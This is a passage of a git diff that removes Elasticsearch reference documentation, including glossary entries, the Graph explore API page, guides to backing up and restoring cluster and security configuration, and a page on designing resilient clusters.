-time, or a <<mapping-routing-field,routing
-field>> in the <<glossary-mapping,mapping>>.
-
-[[glossary-searchable-snapshot]] searchable snapshot ::
-// tag::searchable-snapshot-def[]
-A <<glossary-snapshot, snapshot>> of an index that has been mounted as a
-<<glossary-searchable-snapshot-index, searchable snapshot index>> and can be
-searched as if it were a regular index.
-// end::searchable-snapshot-def[]
-
-[[glossary-searchable-snapshot-index]] searchable snapshot index ::
-// tag::searchable-snapshot-index-def[]
-An <<glossary-index, index>> whose data is stored in a <<glossary-snapshot,
-snapshot>> that resides in a separate <<glossary-snapshot-repository,snapshot
-repository>> such as AWS S3. Searchable snapshot indices do not need
-<<glossary-replica-shard,replica>> shards for resilience, since their data is
-reliably stored outside the cluster.
-// end::searchable-snapshot-index-def[]
-
-[[glossary-shard]] shard ::
-+
---
-// tag::shard-def[]
-A shard is a single Lucene instance. It is a low-level “worker” unit
-which is managed automatically by Elasticsearch. An index is a logical
-namespace which points to <<glossary-primary-shard,primary>> and
-<<glossary-replica-shard,replica>> shards.
-+
-Other than defining the number of primary and replica shards that an
-index should have, you never need to refer to shards directly.
-Instead, your code should deal only with an index.
-+
-Elasticsearch distributes shards amongst all <<glossary-node,nodes>> in the
-<<glossary-cluster,cluster>>, and can move shards automatically from one
-node to another in the case of node failure, or the addition of new
-nodes.
-// end::shard-def[]
---
-
-[[glossary-shrink]] shrink ::
-// tag::shrink-def[]
-// tag::shrink-def-short[]
-Reduce the number of primary shards in an index.
-// end::shrink-def-short[]
-You can shrink an index to reduce its overhead when the request volume drops.
-For example, you might opt to shrink an index once it is no longer the write index.
-See the {ref}/indices-shrink-index.html[shrink index API].
-// end::shrink-def[]
-
-[[glossary-snapshot]] snapshot ::
-// tag::snapshot-def[]
-Captures the state of the whole cluster or of particular indices or data
-streams at a particular point in time. Snapshots provide a back up of a running
-cluster, ensuring you can restore your data in the event of a failure. You can
-also mount indices or datastreams from snapshots as read-only
-{ref}/glossary.html#glossary-searchable-snapshot-index[searchable snapshots].
-// end::snapshot-def[]
-
-[[glossary-snapshot-lifecycle-policy]] snapshot lifecycle policy ::
-// tag::snapshot-lifecycle-policy-def[]
-Specifies how frequently to perform automatic backups of a cluster and
-how long to retain the resulting snapshots.
-// end::snapshot-lifecycle-policy-def[]
-
-[[glossary-snapshot-repository]] snapshot repository ::
-// tag::snapshot-repository-def[]
-Specifies where snapshots are to be stored.
-Snapshots can be written to a shared filesystem or to a remote repository.
-// end::snapshot-repository-def[]
-
-[[glossary-source_field]] source field ::
-
-By default, the JSON document that you index will be stored in the
-`_source` field and will be returned by all get and search requests.
-This allows you access to the original object directly from search
-results, rather than requiring a second step to retrieve the object
-from an ID.
-
-[[glossary-system-index]] system index ::
-// tag::system-index-def[]
-An index that contains configuration information or other data used internally by the system, 
-such as the `.security` index. 
-The name of a system index is always prefixed with a dot.
-You should not directly access or modify system indices.
-// end::system-index-def[]
-
-[[glossary-term]] term ::
-
-A term is an exact value that is indexed in Elasticsearch. The terms
-`foo`, `Foo`, `FOO` are NOT equivalent. Terms (i.e. exact values) can
-be searched for using _term_ queries.
-+
-See also <<glossary-text,text>> and <<glossary-analysis,analysis>>.
-
-[[glossary-text]] text ::
-
-Text (or full text) is ordinary unstructured text, such as this
-paragraph. By default, text will be <<glossary-analysis,analyzed>> into
-<<glossary-term,terms>>, which is what is actually stored in the index.
-+
-Text <<glossary-field,fields>> need to be analyzed at index time in order to
-be searchable as full text, and keywords in full text queries must be
-analyzed at search time to produce (and search for) the same terms
-that were generated at index time.
-+
-See also <<glossary-term,term>> and <<glossary-analysis,analysis>>.
-
-[[glossary-type]] type ::
-
-A type used to represent the _type_ of document, e.g. an `email`, a `user`, or a `tweet`.
-Types are deprecated and are in the process of being removed.
-See {ref}/removal-of-types.html[Removal of mapping types].
-// end::type-def[]
-
-[[glossary-warm-phase]] warm phase ::
-// tag::warm-phase-def[]
-The second possible phase in the <<glossary-index-lifecycle,index lifecycle>>.
-In the warm phase, an index is generally optimized for search and no longer updated.
-// end::warm-phase-def[]
-
-[[glossary-warm-tier]] warm tier::
-// tag::warm-tier-def[]
-A <<glossary-data-tier, data tier>> that contains nodes that hold time series data 
-that is accessed less frequently and rarely needs to be updated.
-// end::warm-tier-def[]
diff --git a/docs/reference/graph/explore.asciidoc b/docs/reference/graph/explore.asciidoc
deleted file mode 100644
index 204957ee6e1..00000000000
--- a/docs/reference/graph/explore.asciidoc
+++ /dev/null
@@ -1,424 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[graph-explore-api]]
-== Graph explore API
-
-The Graph explore API enables you to extract and summarize information about
-the documents and terms in your Elasticsearch index.
-
-The easiest way to understand the behaviour of this API is to use the
-Graph UI to explore connections. You can view the most recent request submitted
-to the `_explore` endpoint from the *Last request* panel. For more information,
-see {kibana-ref}/graph-getting-started.html[Getting Started with Graph].
-
-For additional information about working with the explore API, see the Graph
-{kibana-ref}/graph-troubleshooting.html[Troubleshooting] and
-{kibana-ref}/graph-limitations.html[Limitations] topics.
-
-NOTE: The graph explore API is enabled by default. To disable access to the
-graph explore API and the Kibana {kibana-ref}/graph-getting-started.html[Graph
-UI], add `xpack.graph.enabled: false` to `elasticsearch.yml`.
-
-[discrete]
-=== Request
-
-`POST <index>/_graph/explore`
-
-[discrete]
-=== Description
-
-An initial request to the `_explore` API contains a seed query that identifies
-the documents of interest and specifies the fields that define the vertices
-and connections you want to include in the graph. Subsequent `_explore` requests
-enable you to _spider out_ from one more vertices of interest. You can exclude
-vertices that have already been returned.
-
-[discrete]
-=== Request Body
-
-[role="child_attributes"]
-====
-
-query::
-A seed query that identifies the documents of interest. Can be any valid
-Elasticsearch query. For example:
-+
-[source,js]
---------------------------------------------------
-"query": {
-  "bool": {
-    "must": {
-      "match": {
-        "query.raw": "midi"
-      }
-    },
-    "filter": [
-      {
-        "range": {
-          "query_time": {
-            "gte": "2015-10-01 00:00:00"
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-
-vertices::
-Specifies or more fields that contain the terms you want to include in the
-graph as vertices. For example:
-+
-[source,js]
---------------------------------------------------
-"vertices": [
-  {
-    "field": "product"
-    }
-]
---------------------------------------------------
-+
-.Properties for `vertices`
-[%collapsible%open]
-======
-field::: Identifies a field in the documents of interest.
-include::: Identifies the terms of interest that form the starting points
-from which you want to spider out. You do not have to specify a seed query
-if you specify an include clause. The include clause implicitly querys for
-documents that contain any of the listed terms listed.
-In addition to specifying a simple array of strings, you can also pass
-objects with `term` and `boost` values to boost matches on particular terms.
-exclude:::
-The `exclude` clause prevents the specified terms from being included in
-the results.
-size:::
-Specifies the maximum number of vertex terms returned for each
-field. Defaults to 5.
-min_doc_count:::
-Specifies how many documents must contain a pair of terms before it is
-considered to be a useful connection. This setting acts as a certainty
-threshold. Defaults to 3.
-shard_min_doc_count:::
-This advanced setting controls how many documents on a particular shard have
-to contain a pair of terms before the connection is returned for global
-consideration. Defaults to 2.
-======
-
-connections::
-Specifies or more fields from which you want to extract terms that are
-associated with the specified vertices. For example:
-+
-[source,js]
---------------------------------------------------
-"connections": {  <3>
-  "vertices": [
-    {
-      "field": "query.raw"
-    }
-  ]
-}
---------------------------------------------------
-+
-NOTE: Connections can be nested inside the `connections` object to
-explore additional relationships in the data. Each level of nesting is
-considered a _hop_, and proximity within the graph is often described in
-terms of _hop depth_.
-+
-.Properties for `connections`
-[%collapsible%open]
-======
-query:::
-An optional _guiding query_ that constrains the Graph API as it
-explores connected terms. For example, you might want to direct the Graph
-API to ignore older data by specifying a query that identifies recent
-documents.
-vertices:::
-Contains the fields you are interested in. For example:
-+
-[source,js]
---------------------------------------------------
-"vertices": [
-  {
-    "field": "query.raw",
-    "size": 5,
-    "min_doc_count": 10,
-    "shard_min_doc_count": 3
-  }
-]
---------------------------------------------------
-======
-
-controls:: Direct the Graph API how to build the graph.
-+
-.Properties for `controls`
-[%collapsible%open]
-======
-use_significance:::
-The `use_significance` flag filters associated terms so only those that are
-significantly associated with your query are included. For information about
-the algorithm used to calculate significance, see the
-{ref}/search-aggregations-bucket-significantterms-aggregation.html[significant_terms
-aggregation]. Defaults to `true`.
-sample_size:::
-Each _hop_ considers a sample of the best-matching documents on each
-shard. Using samples improves the speed of execution and keeps
-exploration focused on meaningfully-connected terms. Very small values
-(less than 50) might not provide sufficient weight-of-evidence to identify
-significant connections between terms. Very large sample sizes can dilute
-the quality of the results and increase execution times.
-Defaults to 100 documents.
-timeout:::
-The length of time in milliseconds after which exploration will be halted
-and the results gathered so far are returned. This timeout is honored on
-a best-effort basis. Execution might overrun this timeout if, for example,
-a long pause is encountered while FieldData is loaded for a field.
-sample_diversity:::
-To avoid the top-matching documents sample being dominated by a single
-source of results, it is sometimes necessary to request diversity in
-the sample. You can do this by selecting a single-value field and setting
-a maximum number of documents per value for that field. For example:
-+
-[source,js]
---------------------------------------------------
-"sample_diversity": {
-  "field": "category.raw",
-  "max_docs_per_value": 500
-}
---------------------------------------------------
-======
-====
-
-// [discrete]
-// === Authorization
-
-[discrete]
-=== Examples
-
-[discrete]
-[[basic-search]]
-==== Basic exploration
-
-An initial search typically begins with a query to identify strongly related terms.
-
-[source,console]
---------------------------------------------------
-POST clicklogs/_graph/explore
-{
-  "query": {                  <1>
-    "match": {
-      "query.raw": "midi"
-    }
-  },
-  "vertices": [               <2>
-    {
-      "field": "product"
-    }
-  ],
-  "connections": {            <3>
-    "vertices": [
-      {
-        "field": "query.raw"
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-<1> Seed the exploration with a query. This example is searching
-clicklogs for people who searched for the term "midi".
-<2> Identify the vertices to include in the graph. This example is looking for
-product codes that are significantly associated with searches for "midi".
-<3> Find the connections. This example is looking for other search
-terms that led people to click on the products that are associated with
-searches for "midi".
-
-The response from the explore API looks like this:
-
-[source,js]
---------------------------------------------------
-{
-   "took": 0,
-   "timed_out": false,
-   "failures": [],
-   "vertices": [ <1>
-      {
-         "field": "query.raw",
-         "term": "midi cable",
-         "weight": 0.08745858139552132,
-         "depth": 1
-      },
-      {
-         "field": "product",
-         "term": "8567446",
-         "weight": 0.13247784285434397,
-         "depth": 0
-      },
-      {
-         "field": "product",
-         "term": "1112375",
-         "weight": 0.018600718471158982,
-         "depth": 0
-      },
-      {
-         "field": "query.raw",
-         "term": "midi keyboard",
-         "weight": 0.04802242866755111,
-         "depth": 1
-      }
-   ],
-   "connections": [ <2>
-      {
-         "source": 0,
-         "target": 1,
-         "weight": 0.04802242866755111,
-         "doc_count": 13
-      },
-      {
-         "source": 2,
-         "target": 3,
-         "weight": 0.08120623870976627,
-         "doc_count": 23
-      }
-   ]
-}
---------------------------------------------------
-<1> An array of all of the vertices that were discovered. A vertex is an indexed
-term, so the field and term value are provided. The `weight` attribute specifies
-a significance score. The `depth` attribute specifies the hop-level at which
-the term was first encountered.
-<2> The connections between the vertices in the array. The `source` and `target`
-properties are indexed into the vertices array and indicate which vertex term led
-to the other as part of exploration. The `doc_count` value indicates how many
-documents in the sample set contain this pairing of terms (this is
-not a global count for all documents in the index).
-
-[discrete]
-[[optional-controls]]
-==== Optional controls
-
-The default settings are configured to remove noisy data and
-get the "big picture" from your data. This example shows how to specify
-additional parameters to influence how the graph is built.
-
-For tips on tuning the settings for more detailed forensic evaluation where
-every document could be of interest, see the
-{kibana-ref}/graph-troubleshooting.html[Troubleshooting] guide.
-
-
-[source,console]
---------------------------------------------------
-POST clicklogs/_graph/explore
-{
-  "query": {
-    "match": {
-      "query.raw": "midi"
-    }
-  },
-  "controls": {
-    "use_significance": false,        <1>
-    "sample_size": 2000,              <2>
-    "timeout": 2000,                  <3>
-    "sample_diversity": {             <4>
-      "field": "category.raw",
-      "max_docs_per_value": 500
-    }
-  },
-  "vertices": [
-    {
-      "field": "product",
-      "size": 5,                      <5>
-      "min_doc_count": 10,            <6>
-      "shard_min_doc_count": 3        <7>
-    }
-  ],
-  "connections": {
-    "query": {                        <8>
-      "bool": {
-        "filter": [
-          {
-            "range": {
-              "query_time": {
-                "gte": "2015-10-01 00:00:00"
-              }
-            }
-          }
-        ]
-      }
-    },
-    "vertices": [
-      {
-        "field": "query.raw",
-        "size": 5,
-        "min_doc_count": 10,
-        "shard_min_doc_count": 3
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-<1> Disable `use_significance` to include all associated terms, not just the
-ones that are significantly associated with the query.
-<2> Increase the sample size to consider a larger set of documents on
-each shard.
-<3> Limit how long a graph request runs before returning results.
-<4> Ensure diversity in the sample by setting a limit on the number of documents
-per value in a particular single-value field, such as a category field.
-<5> Control the maximum number of vertex terms returned for each field.
-<6> Set a certainty threshold that specifies how many documents have to contain
-a pair of terms before we consider it to be a useful connection.
-<7> Specify how many documents on a shard have to contain a pair of terms before
-the connection is returned for global consideration.
-<8> Restrict which document are considered as you explore connected terms.
-
-
-[discrete]
-[[spider-search]]
-==== Spidering operations
-
-After an initial search, you typically want to select vertices of interest and
-see what additional vertices are connected. In graph-speak, this operation is
-referred to as "spidering". By submitting a series of requests, you can
-progressively build a graph of related information.
-
-To spider out, you need to specify two things:
-
- * The set of vertices for which you want to find additional connections
- * The set of vertices you already know about that you want to exclude from the
- results of the spidering operation.
-
-You specify this information using `include`and `exclude` clauses. For example,
-the following request starts with the product `1854873` and spiders
-out to find additional search terms associated with that product. The terms
-"midi", "midi keyboard", and "synth" are excluded from the results.
-
-[source,console]
---------------------------------------------------
-POST clicklogs/_graph/explore
-{
-   "vertices": [
-      {
-         "field": "product",
-         "include": [ "1854873" ] <1>
-      }
-   ],
-   "connections": {
-      "vertices": [
-         {
-            "field": "query.raw",
-            "exclude": [ <2>
-               "midi keyboard",
-               "midi",
-               "synth"
-            ]
-         }
-      ]
-   }
-}
---------------------------------------------------
-
-<1> The vertices you want to start from are specified
-as an array of terms in an `include` clause.
-<2> The `exclude` clause prevents terms you already know about from being
-included in the results.
diff --git a/docs/reference/gs-index.asciidoc b/docs/reference/gs-index.asciidoc
deleted file mode 100644
index 30beb16b0df..00000000000
--- a/docs/reference/gs-index.asciidoc
+++ /dev/null
@@ -1,6 +0,0 @@
-[[elasticsearch-reference]]
-= Elasticsearchリファレンス
-
-include::../Versions.asciidoc[]
-
-include::getting-started.asciidoc[]
diff --git a/docs/reference/high-availability.asciidoc b/docs/reference/high-availability.asciidoc
deleted file mode 100644
index 52bbc553dde..00000000000
--- a/docs/reference/high-availability.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[high-availability]]
-= Set up a cluster for high availability
-
-[partintro]
---
-Your data is important to you. Keeping it safe and available is important
-to {es}. Sometimes your cluster may experience hardware failure or a power
-loss. To help you plan for this, {es} offers a number of features
-to achieve high availability despite failures.
-
-* With proper planning, a cluster can be
-  <<high-availability-cluster-design,designed for resilience>> to many of the
-  things that commonly go wrong, from the loss of a single node or network
-  connection right up to a zone-wide outage such as power loss.
-
-* You can use <<xpack-ccr,{ccr}>> to replicate data to a remote _follower_
-  cluster which may be in a different data centre or even on a different
-  continent from the leader cluster. The follower cluster acts as a hot
-  standby, ready for you to fail over in the event of a disaster so severe that
-  the leader cluster fails. The follower cluster can also act as a geo-replica
-  to serve searches from nearby clients.
-
-* The last line of defence against data loss is to take
-  <<backup-cluster,regular snapshots>> of your cluster so that you can restore
-  a completely fresh copy of it elsewhere if needed.
---
-
-include::high-availability/cluster-design.asciidoc[]
-
-include::high-availability/backup-cluster.asciidoc[]
-
-include::ccr/index.asciidoc[]
diff --git a/docs/reference/high-availability/backup-and-restore-security-config.asciidoc b/docs/reference/high-availability/backup-and-restore-security-config.asciidoc
deleted file mode 100644
index 47fa196d2cb..00000000000
--- a/docs/reference/high-availability/backup-and-restore-security-config.asciidoc
+++ /dev/null
@@ -1,276 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[security-backup]]
-=== Back up a cluster's security configuration
-++++
-<titleabbrev>Back up the security configuration</titleabbrev>
-++++
-
-Security configuration information resides in two places:
-<<backup-security-file-based-configuration,files>> and
-<<backup-security-index-configuration,indices>>.
-
-[discrete]
-[[backup-security-file-based-configuration]]
-==== Back up file-based security configuration
-
-{es} {security-features} are configured using the <<security-settings,
-`xpack.security` namespace>> inside the `elasticsearch.yml` and
-`elasticsearch.keystore` files. In addition there are several other
-<<security-files, extra configuration files>> inside the same `ES_PATH_CONF`
-directory. These files define roles and role mappings and configure the
-<<file-realm,file realm>>. Some of the
-settings specify file paths to security-sensitive data, such as TLS keys and
-certificates for the HTTP client and inter-node communication and private key files for
-<<ref-saml-settings, SAML>>, <<ref-oidc-settings, OIDC>> and the
-<<ref-kerberos-settings, Kerberos>> realms. All these are also stored inside
-`ES_PATH_CONF`; the path settings are relative.
-
-IMPORTANT: The `elasticsearch.keystore`, TLS keys and SAML, OIDC, and Kerberos
-realms private key files require confidentiality. This is crucial when files
-are copied to the backup location, as this increases the surface for malicious
-snooping.
-
-To back up all this configuration you can use a <<backup-cluster-configuration,
-conventional file-based backup>>, as described in the previous section.
-
-[NOTE]
-====
-
-* File backups must run on every cluster node.
-* File backups will store non-security configuration as well. Backing-up
-only {security-features} configuration is not supported. A backup is a
-point in time record of state of the complete configuration.
-
-====
-
-[discrete]
-[[backup-security-index-configuration]]
-==== Back up index-based security configuration
-
-{es} {security-features} store system configuration data inside a
-dedicated index. This index is named `.security-6` in the {es} 6.x versions and
-`.security-7` in the 7.x releases. The `.security` alias always points to the
-appropriate index. This index contains the data which is not available in
-configuration files and *cannot* be reliably backed up using standard
-filesystem tools. This data describes:
-
-* the definition of users in the native realm (including hashed passwords)
-* role definitions (defined via the <<security-api-put-role,create roles API>>)
-* role mappings (defined via the
-  <<security-api-put-role-mapping,create role mappings API>>)
-* application privileges
-* API keys
-
-The `.security` index thus contains resources and definitions in addition to
-configuration information. All of that information is required in a complete
-{security-features} backup.
-
-Use the <<modules-snapshots, standard {es} snapshot functionality>> to backup
-`.security`, as you would for any <<backup-cluster-data, other data index>>.
-For convenience, here are the complete steps:
-
-. Create a repository that you can use to backup the `.security` index.
-It is preferable to have a <<backup-security-repos, dedicated repository>> for
-this special index. If you wish, you can also snapshot the system indices for other {stack} components to this repository. 
-+
---
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
------------------------------------
-
-The user calling this API must have the elevated `manage` cluster privilege to
-prevent non-administrators exfiltrating data.
-
---
-
-. Create a user and assign it only the built-in `snapshot_user` role.
-+
---
-The following example creates a new user `snapshot_user` in the
-<<native-realm,native realm>>, but it is not important which
-realm the user is a member of:
-
-[source,console]
---------------------------------------------------
-POST /_security/user/snapshot_user
-{
-  "password" : "secret",
-  "roles" : [ "snapshot_user" ]
-}
---------------------------------------------------
-// TEST[skip:security is not enabled in this fixture]
-
---
-
-. Create incremental snapshots authorized as `snapshot_user`.
-+
---
-The following example shows how to use the create snapshot API to backup
-the `.security` index to the `my_backup` repository:
-
-[source,console]
---------------------------------------------------
-PUT /_snapshot/my_backup/snapshot_1
-{
-  "indices": ".security",
-  "include_global_state": true <1>
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> This parameter value captures all the persistent settings stored in the
-global cluster metadata as well as other configurations such as aliases and
-stored scripts. Note that this includes non-security configuration and that it complements but does not replace the
-<<backup-cluster-configuration, filesystem configuration files backup>>.
-
---
-
-IMPORTANT: The index format is only compatible within a single major version,
-and cannot be restored onto a version earlier than the version from which it
-originated. For example, you can restore a security snapshot from 6.6.0 into a
-6.7.0 cluster, but you cannot restore it to a cluster running {es} 6.5.0 or 7.0.0.
-
-[discrete]
-[[backup-security-repos]]
-===== Controlling access to the backup repository
-
-The snapshot of the security index will typically contain sensitive data such
-as user names and password hashes. Because passwords are stored using
-<<hashing-settings, cryptographic hashes>>, the disclosure of a snapshot would
-not automatically enable a third party to authenticate as one of your users or
-use API keys. However, it would disclose confidential information.
-
-It is also important that you protect the integrity of these backups in case
-you ever need to restore them. If a third party is able to modify the stored
-backups, they may be able to install a back door that would grant access if the
-snapshot is loaded into an {es} cluster.
-
-We recommend that you:
-
-* Snapshot the `.security` index in a dedicated repository, where read and write
-access is strictly restricted and audited.
-* If there are indications that the snapshot has been read, change the passwords
-of the users in the native realm and revoke API keys.
-* If there are indications that the snapshot has been tampered with, do not
-restore it. There is currently no option for the restore process to detect
-malicious tampering.
-
-[[restore-security-configuration]]
-=== Restore a cluster's security configuration
-++++
-<titleabbrev>Restore the security configuration</titleabbrev>
-++++
-
-NOTE: You can restore a snapshot of the `.security` index only if it was
-created in a previous minor version in the same major version. The last minor
-version of every major release can convert and read formats of the index for
-both its major version and the next one.
-
-When you restore security configuration you have the option of doing a complete
-restore of *all* configurations, including non-security ones, or to only restore
-the contents of the `.security` index. As described in
-<<backup-security-index-configuration>>, the second option comprises only
-resource-type configurations. The first option has the advantage of restoring
-a cluster to a clearly defined state from a past point in time. The second option
-touches only security configuration resources, but it does not completely restore
-the {security-features}.
-
-To restore your security configuration from a backup, first make sure that the
-repository holding `.security` snapshots is installed:
-
-[source,console]
---------------------------------------------------
-GET /_snapshot/my_backup
---------------------------------------------------
-// TEST[continued]
-
-[source,console]
---------------------------------------------------
-GET /_snapshot/my_backup/snapshot_1
---------------------------------------------------
-// TEST[continued]
-
-Then log into one of the node hosts, navigate to {es} installation directory,
-and follow these steps:
-
-. Add a new user with the `superuser` built-in role to the
-<<file-realm,file realm>>.
-+
---
-For example, create a user named `restore_user`:
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-users useradd restore_user -p password -r superuser
---------------------------------------------------
---
-
-. Using the previously created user, delete the existing `.security-6` or
-`.security-7` index.
-+
---
-[source,shell]
---------------------------------------------------
-curl -u restore_user -X DELETE "localhost:9200/.security-*"
---------------------------------------------------
-// NOTCONSOLE
-
-WARNING: After this step any authentication that relies on the `.security`
-index will not work. This means that all API calls that authenticate with
-native or reserved users will fail, as will any user that relies on a native role.
-The file realm user we created in the step above will continue to work
-because it is not stored in the `.security` index and uses the built-in
-`superuser` role.
-
---
-
-. Using the same user, restore the `.security` index from the snapshot.
-+
---
-[source,shell]
---------------------------------------------------
- curl -u restore_user -X POST "localhost:9200/_snapshot/my_backup/snapshot_1/_restore" -H 'Content-Type: application/json' -d'
- {
-    "indices": ".security-*",
-    "include_global_state": true <1>
- }
- '
---------------------------------------------------
-// NOTCONSOLE
-
-<1> The `include_global_state: true` is mandatory only for a complete restore.
-This will restore the global cluster metadata, which contains configuration
-information for the complete cluster. If you set this to `false`, it recovers
-only the contents of the `.security` index, such as usernames and password
-hashes, API keys, application privileges, role and role mapping definitions.
---
-
-. Optionally, if you need to review and override the settings that were included
-in the snapshot (by the `include_global_state` flag), cherry-pick and
-<<cluster-update-settings,apply the persistent settings>> that you
-<<backup-cluster-configuration, have extracted>> with the
-`GET _cluster/settings` API.
-
-. If you pursue a complete point in time restore of the cluster, you also have
-to restore configuration files. Again, this will restore non-security settings as
-well.
-+
---
-This entails a straight-up filesystem copy of the backed up configuration files,
-overwriting the contents of `$ES_PATH_CONF`, and restarting the node. This
-needs to be done on *every node*. Depending on the extent of the differences
-between your current cluster configuration and the restored configuration, you
-may not be able to perform a rolling restart. If you are performing a full
-restore of your configuration directory, we recommend a full cluster restart as
-the safest option. Alternatively, you may wish to restore your configuration
-files to a separate location on disk and use file comparison tools to review
-the differences between your existing configuration and the restored
-configuration.
---
diff --git a/docs/reference/high-availability/backup-cluster-config.asciidoc b/docs/reference/high-availability/backup-cluster-config.asciidoc
deleted file mode 100644
index 109227e8154..00000000000
--- a/docs/reference/high-availability/backup-cluster-config.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[[backup-cluster-configuration]]
-=== Back up a cluster's configuration
-++++
-<titleabbrev>Back up the cluster configuration</titleabbrev>
-++++
-
-In addition to backing up the data in a cluster, it is important to back up its configuration--especially when the cluster becomes large and difficult to
-reconstruct.
-
-Configuration information resides in
-<<config-files-location, regular text files>> on every cluster node. Sensitive
-setting values such as passwords for the {watcher} notification servers, are
-specified inside a binary secure container, the
-<<secure-settings, elasticsearch.keystore>> file. Some setting values are
-file paths to the associated configuration data, such as the ingest geo ip
-database. All these files are contained inside the `ES_PATH_CONF` directory.
-
-NOTE: All changes to configuration files are done by manually editing the files
-or using command line utilities, but *not* through APIs. In practice, these
-changes are infrequent after the initial setup.
-
-We recommend that you take regular (ideally, daily) backups of your {es} config
-(`$ES_PATH_CONF`) directory using the file backup software of your choice.
-
-TIP: We recommend that you have a configuration management plan for these
-configuration files. You may wish to check them into version control, or
-provision them though your choice of configuration management tool.
-
-Some of these files may contain sensitive data such as passwords and TLS keys,
-therefore you should investigate whether your backup software and/or storage
-solution are able to encrypt this data.
-
-Some settings in configuration files might be overridden by
-<<cluster-update-settings,cluster settings>>. You can capture these settings in
-a *data* backup snapshot by specifying the `include_global_state: true` (default)
-parameter for the snapshot API. Alternatively, you can extract these
-configuration values in text format by using the
-<<cluster-get-settings, get settings API>>:
-
-[source,console]
---------------------------------------------------
-GET _cluster/settings?pretty&flat_settings&filter_path=persistent
---------------------------------------------------
-
-You can store the output of this as a file together with the rest of
-configuration files.
-
-[NOTE]
-====
-
-* Transient settings are not considered for backup.
-* {es} {security-features} store configuration data such as role definitions and
-API keys inside a dedicate special index. This "system" data,
-complements the <<secure-settings, security settings>> configuration and should
-be <<backup-security-index-configuration, backed up as well>>.
-* Other {stack} components, like Kibana and {ml-cap}, store their configuration
-data inside other dedicated indices. From the {es} perspective these are just data
-so you can use the regular <<backup-cluster-data, data backup>> process.
-
-====
diff --git a/docs/reference/high-availability/backup-cluster-data.asciidoc b/docs/reference/high-availability/backup-cluster-data.asciidoc
deleted file mode 100644
index 4053d6e47b6..00000000000
--- a/docs/reference/high-availability/backup-cluster-data.asciidoc
+++ /dev/null
@@ -1,27 +0,0 @@
-[[backup-cluster-data]]
-=== Back up a cluster's data
-++++
-<titleabbrev>Back up the data</titleabbrev>
-++++
-
-To back up your cluster's data, you can use the <<modules-snapshots,snapshot API>>.
-
-include::../snapshot-restore/index.asciidoc[tag=snapshot-intro]
-
-[TIP]
-====
-If your cluster has {es} {security-features} enabled, when you back up your data
-the snapshot API call must be authorized.
-
-The `snapshot_user` role is a reserved role that can be assigned to the user
-who is calling the snapshot endpoint. This is the only role necessary if all the user
-does is periodic snapshots as part of the backup procedure. This role includes
-the privileges to list all the existing snapshots (of any repository) as
-well as list and view settings of all indices, including the `.security` index.
-It does *not* grant privileges to create repositories, restore snapshots, or
-search within indices. Hence, the user can view and snapshot all indices, but cannot
-access or modify any data.
-
-For more information, see <<security-privileges>>
-and <<built-in-roles>>.
-====
diff --git a/docs/reference/high-availability/backup-cluster.asciidoc b/docs/reference/high-availability/backup-cluster.asciidoc
deleted file mode 100644
index 37490293554..00000000000
--- a/docs/reference/high-availability/backup-cluster.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[[backup-cluster]]
-== Back up a cluster
-
-include::../snapshot-restore/index.asciidoc[tag=backup-warning]
-
-To have a complete backup for your cluster:
-
-. <<backup-cluster-data,Back up the data>>
-. <<backup-cluster-configuration,Back up the cluster configuration>>
-. <<security-backup,Back up the security configuration>>
-
-To restore your cluster from a backup:
-
-. <<restore-cluster-data,Restore the data>>
-. <<restore-security-configuration,Restore the security configuration>>
-
-
-
-include::backup-cluster-data.asciidoc[]
-include::backup-cluster-config.asciidoc[]
-include::backup-and-restore-security-config.asciidoc[]
-include::restore-cluster-data.asciidoc[]
diff --git a/docs/reference/high-availability/cluster-design.asciidoc b/docs/reference/high-availability/cluster-design.asciidoc
deleted file mode 100644
index 914db1a1d1f..00000000000
--- a/docs/reference/high-availability/cluster-design.asciidoc
+++ /dev/null
@@ -1,355 +0,0 @@
-[[high-availability-cluster-design]]
-== Designing for resilience
-
-Distributed systems like {es} are designed to keep working even if some of
-their components have failed. As long as there are enough well-connected
-nodes to take over their responsibilities, an {es} cluster can continue
-operating normally if some of its nodes are unavailable or disconnected.
-
-There is a limit to how small a resilient cluster can be. All {es} clusters
-require:
-
-* One <<modules-discovery-quorums,elected master node>> node
-* At least one node for each <<modules-node,role>>.
-* At least one copy of every <<scalability,shard>>.
-
-A resilient cluster requires redundancy for every required cluster component.
-This means a resilient cluster must have:
-
-* At least three master-eligible nodes
-* At least two nodes of each role
-* At least two copies of each shard (one primary and one or more replicas)
-
-A resilient cluster needs three master-eligible nodes so that if one of
-them fails then the remaining two still form a majority and can hold a
-successful election.
-
-Similarly, redundancy of nodes of each role means that if a node for a
-particular role fails, another node can take on its responsibilities.
-
-Finally, a resilient cluster should have at least two copies of each shard. If
-one copy fails then there should be another good copy to take over. {es}
-automatically rebuilds any failed shard copies on the remaining nodes in order
-to restore the cluster to full health after a failure.
-
-Failures temporarily reduce the total capacity of your cluster. In addition,
-after a failure the cluster must perform additional background activities to
-restore itself to health. You should make sure that your cluster has the
-capacity to handle your workload even if some nodes fail.
-
-Depending on your needs and budget, an {es} cluster can consist of a single
-node, hundreds of nodes, or any number in between. When designing a smaller
-cluster, you should typically focus on making it resilient to single-node
-failures. Designers of larger clusters must also consider cases where multiple
-nodes fail at the same time. The following pages give some recommendations for
-building resilient clusters of various sizes:
-
-* <<high-availability-cluster-small-clusters>>
-* <<high-availability-cluster-design-large-clusters>>
-
-[[high-availability-cluster-small-clusters]]
-=== Resilience in small clusters
-
-In smaller clusters, it is most important to be resilient to single-node
-failures. This section gives some guidance on making your cluster as resilient
-as possible to the failure of an individual node.
-
-[[high-availability-cluster-design-one-node]]
-==== One-node clusters
-
-If your cluster consists of one node, that single node must do everything.
-To accommodate this, {es} assigns nodes every role by default.
-
-A single node cluster is not resilient. If the node fails, the cluster will
-stop working. Because there are no replicas in a one-node cluster, you cannot
-store your data redundantly. However, by default at least one replica is
